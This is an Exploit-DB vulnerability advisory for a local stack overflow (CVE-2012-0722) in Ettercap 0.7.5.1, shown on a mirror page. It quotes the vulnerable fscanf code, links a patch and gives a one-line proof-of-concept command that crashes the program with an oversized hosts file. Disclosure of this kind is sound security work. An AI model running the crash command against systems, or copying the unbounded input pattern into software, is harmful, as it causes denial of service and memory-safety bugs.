Ettercap 0.7.5.1 – Stack Overflow

• Exploit Database
• 142 阅读

• 作者： Sajjad Pourali
  日期： 2013-01-07
• 类别：

  • dos
  平台：

  • unix
• 来源：https://www.exploit-db.com/exploits/23945/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69

  Title: Ettercap Stack overflow (CWE-121) References: CVE-2012-0722 Discovered by: Sajjad Pourali Vendor: http://www.ettercap.sourceforge.net/ Vendor contact: 13-01-01 21:20 UTC (No response) Solution: Using the patch Patch: http://www.securation.com/files/2013/01/ec.patch   Local: Yes Remote: No Impact: low   Affected: - ettercap 0.7.5.1 - ettercap 0.7.5 - ettercap 0.7.4 and earlier Not affected: - ettercap 0.7.4.1   ---   Trace vulnerable place:   ./include/ec_inet.h:27-44 enum { NS_IN6ADDRSZ= 16, NS_INT16SZ= 2,   ETH_ADDR_LEN= 6, TR_ADDR_LEN = 6, FDDI_ADDR_LEN = 6, MEDIA_ADDR_LEN= 6,   IP_ADDR_LEN = 4, IP6_ADDR_LEN= 16, MAX_IP_ADDR_LEN = IP6_ADDR_LEN,   ETH_ASCII_ADDR_LEN= sizeof("ff:ff:ff:ff:ff:ff")+1, IP_ASCII_ADDR_LEN = sizeof("255.255.255.255")+1, IP6_ASCII_ADDR_LEN= sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255")+1, MAX_ASCII_ADDR_LEN= IP6_ASCII_ADDR_LEN, };   ./include/ec_resolv.h:42 #define MAX_HOSTNAME_LEN 64   ./src/ec_scan.c:610-614 char ip[MAX_ASCII_ADDR_LEN]; char mac[ETH_ASCII_ADDR_LEN]; char name[MAX_HOSTNAME_LEN];     ./src/ec_scan.c:633-635 if (fscanf(hf, "%s %s %s\n", ip, mac, name) != 3 || *ip == '#' || *mac == '#' || *name == '#') continue;   ---   PoC:   sudo ruby -e'puts"a"*2000' > overflow && sudo ettercap -T -j overflow   ---   + Sajjad Pourali + http://www.securation.com + Contact: sajjad[at]securation.com